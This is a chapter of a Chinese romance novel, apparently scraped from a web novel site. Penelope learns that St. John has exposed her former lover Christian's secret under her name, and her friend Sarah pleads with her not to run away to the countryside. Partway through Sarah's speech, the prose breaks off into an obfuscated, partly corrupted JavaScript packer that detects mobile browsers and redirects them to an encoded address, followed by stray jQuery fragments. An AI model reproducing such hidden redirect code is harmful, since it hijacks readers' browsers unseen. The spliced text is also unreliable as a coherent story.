佩内洛普几乎整夜没睡。


    圣-约翰那可怕的威胁让她无处可逃，她试图在爱与自尊之间找到平衡，但无论如何努力，她始终只觉得自己陷入了深不见底的黑暗中。日子在一天天走着，可痛苦却仍旧停在原地，一动不动。


    她想着那两个男人之间的纠葛，叹了一口气，随意地梳理着自己的头发，脸上不施粉黛，依旧是那副她早已习惯的冷淡面容，镜中的她看起来十分疲惫，仿佛再也找不到一丝光彩。


    然后，管家里德带着报纸走了进来，脸色看起来很是不安。


    佩内洛普注意到他的神色有些不对，不禁问：“怎么了，里德？”


    “我想，阅读今天的晨报可能不是什么好的选择。”管家里德道。


    佩内洛普意识到了什么，心中涌起了一股不祥的预感。她几乎没有任何犹豫，猛地抄起了报纸。


    果然，克里斯蒂安的秘密被揭露了。


    她之前明明都已经那么努力地尝试着去说服圣-约翰，让他暂且按兵不动，徐徐图之，并忍受他一直对她动手动脚，结果他竟然还是这么没耐心，在那次威胁克里斯蒂安没有成功后，直接就将那件事情爆出来了？


    她快速扫过文字，他甚至是借了她的名义将这些事情公之于众，报纸上说是p女爵提供的可靠消息。


    她曾经是克里斯蒂安的情人，既然是她说的，在许多人眼里那就一定是真的。


    她的手微微地颤抖着，握紧了报纸。她在心中默默祈祷，希望这一切只是梦境，自己可以从中醒来。但是，她清楚地知道，这一切都是真实的，克里斯蒂安的秘密和她自己无能为力的痛苦已经被迫暴露于人前。


    这个人渣！


    克里斯蒂安会怎么想？


    她真希望他可以怒不可遏地过来狠狠骂她一顿，至少让她可以分辩两句，尽管她完全就是自己愚蠢，她怎么就这么轻信了一个百分百的小人呢。


    克里斯蒂安……


    她正伤心地想着这个名字，门铃声忽然响起，她整个人都僵住了。


    之后，她看到了莎拉及里士满男爵。


    莎拉一看到她的脸就惊叫道：“天呐，你是一周都没有睡觉了吗？你的黑眼圈简直都没法看了。”


    “没有那么夸张。”她恹恹地说。


    “你到底是怎么了？”莎拉质问道，“我听说你最近和圣-约翰出现在了一起。天呐，在莱顿之后，你竟然又看上了一个二流货色？他压根连克里斯蒂安一根指头都比不上。”


    里士满男爵闻言，在一旁扬了扬眉，略带惊讶地重复着这个称呼：“克里斯蒂安？”


    莎拉心虚地转过头，笑着看向自己的老丈夫：“我毕竟是佩妮最好的朋友，不是吗？哦，亲爱的，我怎么发现你最近嫉妒心越来越重了，这很不好，你怎么能想象除了你，我还会看其他人呢？”


    “是吗？可我一直都觉得你与罗伯特·马洛勋爵是不是过于亲密了？”


    “罗伯特·马洛？”莎拉夸张地惊呼道，“你居然拿那种货色跟你相提并论？他总是追着我跑，太烦人了，事实上，他唯一的作用就是让我确信我仍然可以吸引你，你不会为了其他迷人的女士离开我。因为我得到了你，你都不知道多少心怀怨恨的女人来挑衅过，我总是担心我会让你感到厌烦，然后你又会像过去一样，偷偷跑去圣约翰森林之类的地方，见你的旧情人们。”


    里士满男爵有一瞬间看起来很内疚。


    他慢慢开口道：“自从我和你结婚后，我几乎都没认真看过哪位女士的脸。”


    “这正是我想要相信的。”莎拉答道，“但有时因为你太有魅力，当然也很富有，我害怕失去你。”


    于是，里士满男爵又重新变回了那个快乐的老头，忘记了所有的不愉快。


    这是佩内洛普最佩服莎拉的地方，她是真的能平衡好家里与外面的关系。


    可惜现在并不是她学习应该如何哄丈夫的时候。


    莎拉也很快又把心思放回了她身上。


    “你得告诉我，你怎么会选择圣-约翰那种男人？”


    佩内洛普道：“我一点也不喜欢他，但我不得已而为之。”


    “他威胁你了？他拿什么威胁你了？”


    佩内洛普不答反问：“我想，你们正是看了晨报才过来的？”


    莎拉默认了。


    “你爱克里斯，是不是？”莎拉问。


    佩内洛普犹豫片刻，还是点了点头：“就像当年爱上马修那样不顾一切。”


    莎拉道：“你一辈子都在为你的马修遗憾，可是现在，另一个让你如此深爱的男人活生生的，就在伦敦，如果你不去挽回，你将再次遗憾。”


    佩内洛普摇了摇头：“我三十六岁了，早已不适合谈论爱情了，就让他一直误解下去也好，我已经想好了，我要把这套房子租出去，然后搬到乡下。”


    莎拉倒吸了一口凉气：“不，我想你还不至于此，而你也不会想做个过时的乡下女人的。”


    “我已经决定了，莎拉，他会很快忘记我的，他毕竟还那么年轻。”


    可是莎拉的眼神却变得更加坚定了：“你错了，他永远不可能会忘记你的。年龄从来不是爱情的障碍，真正的障碍是你对你自己的不信任，因为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515402|167731||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    你爱过的所有男人都离开了你，你觉得自己是被上帝抛弃的孩子，你注定得不到幸福，所以，你才要逃避这份爱。”


    佩内洛普的心像被重重地击了一下，莎拉的话犹如一根刺，扎进了她的内心深处。但她强迫自己低下了头，不再让情绪控制她。


    她已经做出了决定，所有的挣扎和痛苦都已经无关紧要了。


    “我已经做出了选择，莎拉。我不想再继续在这段关系里折磨自己下去了，也不想继续给他带来任何的伤害。”


    莎拉沉默了一会儿，然后叹了口气：“好吧，如果这是你真的想要的。但你必须知道，你和克里斯蒂安的故事还没有结束，这是我身为女人的直觉。”


    闻言，佩内洛普微微一笑，眼神中带着一丝固执。


    “它已经彻底地结束了。”佩内洛普低声道，仿佛是在说服莎拉，却更像是在说服自己。


    莎拉叹了口气，摇了摇头，但她了解佩内洛普，当她决定什么事情时，很难改变主意。


    于是莎拉也只能不再说什么。


    里士满男爵见气氛变得有些沉重了，在一旁轻咳了一声，便笑道：“你说你要搬到乡下？天呐，我和莎拉可不愿意看着你就这么在田野间自怨自艾。你打算去哪儿？请尽量离伦敦近一点吧。”


    佩内洛普摇头：“我还没有具体的打算呢，不过我倒是想尽可能远离伦敦。”


    莎拉挑眉，还是忍不住问：“是远离伦敦吗？还是远离克里斯蒂安？”


    佩内洛普没有回答，只是垂下眼帘，沉默地摩挲着手中的戒指。


    莎拉张了张嘴，似乎还想再说什么，却被里士满男爵按住了手。


    年长的男爵缓缓说道：“佩内洛普，你该听听莎拉的话，不该总是轻易做决定，或许你现在觉得自己非常理智，但我作为一个老人，我必须提醒你，理智并不总是正确的。有些事情，错过了就再也回不了头。”


    闻言，佩内洛普的手微微一颤，却没有回答。


    莎拉长叹了一口气，最终站起身来：“就像我刚刚说的一样，不管你想怎样都行，我永远会站在你身边支持你，毕竟谁让你是我十几年的朋友呢。”


    “谢谢。”佩内洛普低声道。


    之后，他们又闲聊了一会儿，里士满夫妻便离开了。


    佩内洛普刚将他们送走，没过多久，便听见门外再次传来了一阵十分急促的门铃声。


    佩内洛普的心再度猛地一紧，眼中闪过一丝不安。


    然而，当门被打开的瞬间，她惊愕地看到了一张令她极其意外的面孔。


    年轻的米娜·威尔莫特。